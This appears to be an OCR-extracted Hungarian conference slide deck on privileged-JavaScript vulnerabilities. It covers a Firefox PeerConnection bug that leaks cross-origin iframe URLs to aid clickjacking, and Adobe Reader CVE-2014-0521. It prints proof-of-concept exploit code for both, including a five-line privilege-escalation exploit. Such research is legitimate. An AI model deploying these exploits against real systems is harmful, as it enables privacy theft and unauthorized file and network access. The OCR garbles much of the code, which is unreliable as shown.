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Attekintés

« JavaScript
* Firefox JS sebezhetdség
* Adober Reader JS sebezhetbseg



JavaScript

* GitHub #1 nyelv

* Privilegzialt JS
- Firefox 40%-a
- Adobe Reader: 20000 sor

* Memoria korrupcios hibak helyett

- Cel
= priv. JS futtatasa
= priv. miveletek végeztetése

- Platformfuggetlen
- Uj hibatipusok

* Viszonylag keveset kutatott - ##
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JS gyorstalpalo

Objektum, getter, setter

var x = {
a: b5,
b: ©

b7

x. defineGetter ('c', function() { // Nem std!!
return this.a*2;

});

x. defineSetter ('c', function (v)
this.a = v/2;

})

x.a = 10; alert(x.c); // -> 20

Xx.c = 84; alert(x.a); // -> 42



Firefox JS sebezhetdsegek

* Bugzilla #924329, #928415

* Meg javitatlan
- Helyette hasonlo, javitott bug a FF26-ban

* Objektumok sztringge alakitasa
- Jogosultsag nelkul
5J.?I. Clickjacking kiegészitésére
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https://bugzilla.mozilla.org/show_bug.cgi?id=924329
https://bugzilla.mozilla.org/show_bug.cgi?id=928415

Clickjacking |.

* Iframe
- Weboldal beagyazasa weboldalba

* Clickjacking
- Tamado weboldalan
- Atlatszé iframe
- Felhasznald kattint — iframe-ben kattint
- Formok elkuldése, stb.
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Clickjacking Il.

 Formok elkuldése
- Emall torlése
- Szavazas
* Vedekezes: X-Frame-Options HTTP header
1f URL ol ,
- Kozosségi oldalon
= Felhasznaldi név
= Baratok listaja
» Csevegesek listaja
- Banki/e-kereskedelmi tranzakciok listaja
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URL olvasasa

Iframe.location objektum:

{
href: “http://www...”,
toString: function () {
return this.href;
}
}
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URL olvasasa

Same Origin vs. Not Same Origin

var L = window.iframel.contentWindow.location;

alert (L.href) ;

alert (L) ;

alert (String (L)) ;

console.log(L.href);

console.log("%$s", L);

alert (L.href);

alert (L) ;

alert (String (L)) ;

console.log(L.href);

console.log("%$s", L);



Firefox Binding tipusok

Weboldal __exposedProps Béngészc’i
JavaScript
pl. console.log
WebIDL

JavaScript
pl. PeerConnection

C++
pl. alert

C++

JavaScript
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A sebezhet6 kod

PeerConnection.prototype.createOffer =

function (onSuccess, onError, constraints)

= constraints.optional;

)

for (var 1=0; 1<opt.length; 1i1+=1)

(!1isObject (opt[1]))

throw new Error (

) .

var opt
if (opt
if
0 }

{

"malformed constraint: " + opt[1]
4
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A sebezhetoseg kihasznalasa

« opt [1] legyen a location objektum — hibalzenet
eDeif (!'isObject (opt[i])) ...
» Otlet: opt [1] legyen property!

- Ertéke el6sz6ér nem objektum
- Masodjara location




URL olvasasa

A sebezhetO0seg kihasznalasaval

1 war optional = { length: 1 };

2 wvar second = false;

3 optional. defineGetter ('0', function() {

a return second ? L : (second = true);

S 1)

6 wvar pc = new PeerConnection();

7  wvar nop = function() {};

8 try {

9 pc.createOffer (nop, nop, { optional: optional });

10 } ecatch (e) {
11 alert (e.message.slice (72);
12 }
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Adobe Reader JavaScript

* PDF szkripteleshez

 APIk
- Formok kitoltése, kuldése
- 3D grafika

* Privilegizalt JS kod
- APl implementaciok JS-ben
- Privilegizalt APIk!
- Automatizalas

* Fajl olvasas
= HTTP

- Alairassal tobb API

$000000 6699 606564
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Privilégium rendszer

Az inicializacio privilegizalt modban fut
* Trusted fuggvények
- app.trustedFunction (f)-el megjelolt fv-ek
- Hivhat privilegizalt APlkat
" app.beginPriv () €s app.endPriv () kozott
 TrustPropagator fuggvenyek
- Ha a hivo trusted, akkor ez is

X %
b “'“,;:
(3¢

o

&
@
o




Ceél

 Legyen function £ () { .. } trusted!

« Egy trusted fuggvény csinalja ezt:
app.beginPriv () ;
app.trustedFunction (f);

« Utana £ () hivhat priv. APlkat!




CVE-2014-0521

1 DynamicAnnotStore = app.trustedFunction (
2 function (doc, user, settings) {

3 this.doc = doc;

4 this.user = user;

5 //

o

7

)
Legitim hasznalat:

var x = new DynamicAnnotStore (doc, {}, {});



Mi a hiba?

1. A this egy implicit 0. argumentum, kontrollalhato!

2. this.x = vy;
- Ha az x property, akkor ez a setter megivasat jelenti
- this.x setter (y);

3. Legyen
- this.doc setter == app.beginPriv
- this.user setter == app.trustedFunction
- user == f



Exploit 5 sorban

var t = {};

t. defineSetter ('doc', app.beginPriv);

t. defineSetter ('user', app.trustedFunction);

t. proto = app;
DynamicAnnotStore.call (/*this*/t, /*doc*/null, /*user*/f);

Az eredeti kddsorok, €s ami valojaban torténik:

this.doc = doc -> app.beginPriv.call (t, null)
this.user = user -> app.trustedFunction.call (t, £f)
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Osszefoglalas

« Adobe Reader
- Fajl olvasas, halozat elerés

* Firefox
- Iframe URL olvasas — Clickjacking kiegészités

 JS alapu sebezhetoségek
- Cross platform
- Megbizhato w3 g @ o0
- Egyszer(ibb kihasznalas & .. CEEE TR
- Korlatozott hatas T i y o3 fob TR
- Kevesett kutatott téma - a0 =%
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Koszonom a figyelmet!
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